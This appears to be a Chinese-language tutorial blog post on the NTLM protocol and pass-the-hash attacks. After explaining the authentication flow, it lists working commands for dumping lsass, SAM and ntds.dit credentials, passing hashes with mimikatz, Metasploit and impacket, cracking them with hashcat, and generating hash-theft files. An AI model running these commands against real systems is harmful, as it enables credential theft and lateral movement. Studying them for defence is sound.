域內三大協議—NTLM

參考:

https://www.crowdstrike.com/cybersecurity-101/ntlm-windows-new-technology-lan-manager/

https://en.hackndo.com/pass-the-hash/

簡介

什麼是 NTLM

NTML 全稱 New Technology LAN Manager,是微軟提供的一組安全協議,用來認證用戶身份。它是一個基於 質詢響應 的協議,在驗證用戶的過程中不需要傳輸用戶的明文密碼。

目前 NTLM 幾個常見的使用場景:

  • 在域環境中用作 Kerberos 的備份,當Kerberos 失效時,就會使用 NTLM 進行認證。
  • 使用本地賬戶登錄時也會使用 NTLM 認證。
  • 客戶端嘗試使用 ip 進行連接,而不是主機名時,也會使用 NTLM 進行認證。

提供服務的 dll 位於 %windir%\Windows\System32\msv1_0.dll

此處的服務器,指代的是 c/s 架構中的服務器。只要向外提供服務的主機,都可以稱爲服務器。

NTLM 認證過程

認證過程基於 質詢/響應 challenge/response,這個認證特點就是不需要傳遞密碼。

認證過程涉及的三個數據交互:

  1. 協商 Negotiation:客戶端向服務端發起認證請求。NEGOTIATE_MESSAGE

  2. 質詢 Challenge:服務端向客戶端發送質詢。CHALLENGE_MESSAGE

    質詢就是 64 bit 的隨機值。

  3. 響應 Response:客戶端使用用戶提供的密碼,計算 NT hash,然後使用其來加密質詢,並和用戶名一起發送給服務端。AUTHENTICATE_MESSAGE

在完成三個階段的數據交互,服務端就有了兩個必要的信息:

  1. 在第二步中,服務端發送給客戶端的質詢。
  2. 在第三步中,從客戶端獲取到的加密後的質詢。

最終服務端只需要將發給客戶端的質詢使用正確的憑證進行加密處理,並與從客戶端接收的加密後的質詢進行比對,即可驗證用戶。但在此步需要根據客戶端所請求的用戶分情況處理:

  1. 所請求的賬戶是目標服務端的本地賬戶。此時用戶憑證儲存在目標服務端的 SAM 文件中,服務端即可進行驗證。
  2. 所請求的賬戶是域賬戶。此時由於目標服務端沒有該賬號的憑證,它只能將驗證的任務委託給域控。

服務端的本地賬戶

服務端根據客戶端發送的用戶名在 SAM 中找到該用戶的 NT hash,使用它對 質詢 進行加密,然後與從客戶端接收的加密的質詢進行對比。

image-20211113210002791

域賬戶

由於服務端沒有這個用戶的密碼 hash。所以只能將任務委派給域控。

SAM verification

服務端將會使用 Netlogon 服務與 DC 建立一個安全的連接。然後通過這個安全的連接向 DC 發送一些信息。上圖中第 3 步。這個信息結構稱爲 NETLOGON_NETWORK_INFO ,它包含三個部分信息:

  1. 進行認證的用戶名。
  2. 服務端向客戶端發送的質詢。
  3. 客戶端向服務端發送的經過加密的質詢。

DC 接收到這個信息後會在 NTDS.DIT 中尋找目標的 NT hash,進行計算並對比結果。然後會給服務端發送 NETLOGON_VALIDATION_SAM_INFO4 消息,以表示是否認證成功。上圖中 456 步

攻擊

PTH

全稱 Pass-The-Hash ,即傳遞 hash 。

參考 NTLM 協議認證過程,整個認證過程傳遞的是密文的hash,所以只要有 hash,我們就可以正常登錄。

爲什麼要傳遞 hash ?

  1. 目標機版本 >= win server 2012 時,lsass.exe 進程中是抓不到明文密碼。
  2. 隨着信息安全意識的提高,弱口令情況逐漸降低,我們經常會遇到拿到 hash 卻解不開的情況。

實際場景中,網絡管理員可能會以自動化腳本配置所有計算機。這意味着可能所有計算機的本地管理員賬戶密碼都是一樣的。那麼只要有一臺被劫持獲取到了管理員的 hash,就可以通過 psexec 等進行傳遞 hash 進一步攻擊其他主機。

獲取 hash

hash 從何而來

  1. 可以從 lsass.exe 進程的內存中抓取(當前登錄的用戶)

  2. 域控:ntds.dit 所有域用戶的賬號/密碼 hash 。

    域控的 lsass 進程會調用 Ntdsa.dll 和該文件進行交互,所以 lsass 進程中可能會有部分該文件中存儲的憑證。

  3. 非域控:本地賬戶密文是存儲在 SAM 註冊表內。SAM 文件 C:\windows\system32\config\SAM 是這個註冊表的拷貝。

    SAM 全稱 Security Accounts Manager。它包含被加密過的本地賬號及其憑證 NT hash,可以在註冊表中找到它,也可以在磁盤上是它的拷貝。但只有 SYSTEM 用戶才能訪問。

    SAM 的解密需要用到 SYSTEM 註冊表

    SAM in registry

普通PC

  • 直接訪問 lsass 進程內存

    • mimikatz

      privilege::debug
      sekurlsa::logonpasswords #獲取hash和明文密碼(如果可以的話)
      sekurlsa::ekeys #獲取kerberos加密憑證
      lsadump::sam # 獲取SAM
      
  • 將 lsass 內存進行轉儲,再解密

    • procdump procdump

      procdump64.exe -accepteula -ma lsass.exe lsass.dmp
      
    • rundll32.exe + comsvcs.dll

      rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass3.dmp full
      

    解密

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    
  • 將 SAM 轉儲,再解密

    • 從註冊表中獲取 SAM

      SAM文件(加密後的用戶密碼)SYSTEM文件(祕鑰)

      reg save hklm\sam sam.hive
      reg save hklm\system system.hive
      
    • 使用卷拷貝功能,獲取磁盤上的 SAM 文件

      僅 server 版本才能使用。

      vssadmin create shadow /for=C:
      
      # 直接進行拷貝
      copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SAM C:\EX\sam
      copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SYSTEM C:\EX\system
      # 域控 ntds.dit
      copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
      #或創建符號鏈接
      mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
      

    破解,可以使用下面任一種方法

    # mimikatz 
    	lsadump::sam /sam:sam.hive /system:system.hive
    # impacket 工具
    	secretsdump.py -sam sam.save -system system.save LOCAL
    
  • 其它

    在具有某些場景下,可以更便捷的獲取hash,但具體原理和上面一樣。

    例如 msf 支持多種 hash 獲取方式。

    post/windows/gather/hashdump
    post/windows/gather/smart_hashdump
    
    # 或者在meterpreter 的基礎上,使用 load kiwi 來加載 mimikatz 模塊。
    creds_alls
    kiwi_cmd "privilege::debug" "sekurlsa::logonpasswords"  # 調用 mimikatz 命令
    

域控

首先普通 PC 的 Hash 獲取思路,但值得注意的是

  • 即使是 DC,常規獲取 hash 的思路依然只能獲取本地用戶的 hash,並不能獲取整個域的用戶 hash,除非拿到域管 hash。

  • 即使是域內用戶機,常規獲取 hash 的思路依然有可能拿到域管理員的 hash,只要域管理員通過 RDP 登錄過,就會將 hash 保存到lsass中

  • 導出 NTDS.dit 轉儲

    使用域控命令導出

    ntdsutil "Activate Instance ntds" "ifm" "create full c:\copy-ntds" quit quit
    

    同樣需要導出 SYSTEM 註冊表進行解密用。

    此處同樣可以使用卷拷貝功能。

    提取工具

    python secretsdump.py -system SYSTEM -ntds ntds.dit local -outputfile credentials.txt
    
  • 或者使用腳本進行提取

    python secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
    

傳遞 hash

NTLM - HackTricks

  • MimiKatz

    privilege::debug
    sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63 /run:powershell.exe
    

    將獲取的 Administrator 的 Hash 添加進 lsass 中。

  • MSF 模塊

    auxiliary/admin/smb/psexec_command       // 在目標機器上執行系統命令
    exploit/windows/smb/psexec               // 用psexec執行系統命令
    exploit/windows/smb/psexec_psh           // 使用powershell作爲payload
    
  • Impacket python 第三方庫

    python smbexec.py -hash aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 [email protected]
    python smbexec.py -hashes :0515322a55615056aaabb044a48463a4 [email protected]
    
    # [NTLM]
    python psexec.py [email protected] -hashes A********BCDE:84********83 -c calc.exe
    
    # [Kerberos]
    python psexec.py abc.com/[email protected] -k -hashes E****DA:E****B6 -c calc.exe
    
    
    python wmiexec.py -hashes LM Hash:NT Hash 域名/用戶名@192.168.52.138 "命令" 
    python wmiexec.py -hashes 0000000:4d6e43b2cdc951808100f5b1d09aac63 god/[email protected] "whoami"      
    

    靜態編譯版 https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries

破解 hash

  1. 在線 ophcrack

    https://www.objectif-securite.ch/en/ophcrack

    也有離線版

  2. hashcat

    ./hashcat -m xx -a 0 <hashfile> <passwords.list1> <passwords.list2>
    ./hashcat -m 1000 -a 0 hash.txt -o result.txt passwords.txt
    ./hashcat -m 1000 -a 0 NTLM Hash passwords.txt
    

PTH 的限制

windows 上,權限的具體實現是通過 access tokens 來描述的。而管理員組的用戶通常有兩個 access token,一個是普通權限的 access token,另一個是管理員權限的 access token。一般情況下,只有在選擇以管理員身份運行時纔會彈出 UAC (User Account Control) 來詢問用戶是否確認此操作。如果用戶同意,則將會以管理員的權限運行該程序。

所以,即使使用了管理員的 hash,傳遞 hash 成功,也不一定能以管理員身份在其它主機上執行命令。具體有以下兩種情況:

  1. 如果使用位於目標主機上管理員組的域賬戶。那麼UAC 不會阻攔,可以直接以管理員身份執行。

  2. 如果使用位於目標主機上管理員組的本地賬戶。那麼UAC 的攔截與否與幾個註冊表值有關,默認情況下是攔截的。

    HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

    • LocalAccountTokenFilterPolicy:默認爲 0
      • 0:只有內置管理員(RID 500) 纔不會阻攔。
      • 1:所有位於管理員組的用戶 都能執行遠程管理員任務。
    • FilterAdministratorToken
      • 0:內置管理員 可以 執行遠程管理員任務。
      • 1:內置管理員 不可以 執行遠程管理員任務。

    Registry table

社工hash竊取

ntlm_theft

ntlm 嗅探,嗅探到再進行離線破解。不適用於 NTLMv2

GitHub - Greenwolf/ntlm_theft: A tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)

python3 ntlm_theft.py -g all -s 127.0.0.1 -f test

局域網環境,密碼爲弱密碼。

hashcat -m 5600 hashes/Querier.ntlmv2 /usr/share/wordlists/rockyou.txt --force

清除 smb 憑證緩存

在dos窗口中輸入control userpasswords2或者control keymgr.dll,然後【高級】/【密碼管理】,刪掉保存的該機器密碼。

【電腦---管理---服務】裏邊重啓一下Workstation服務。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章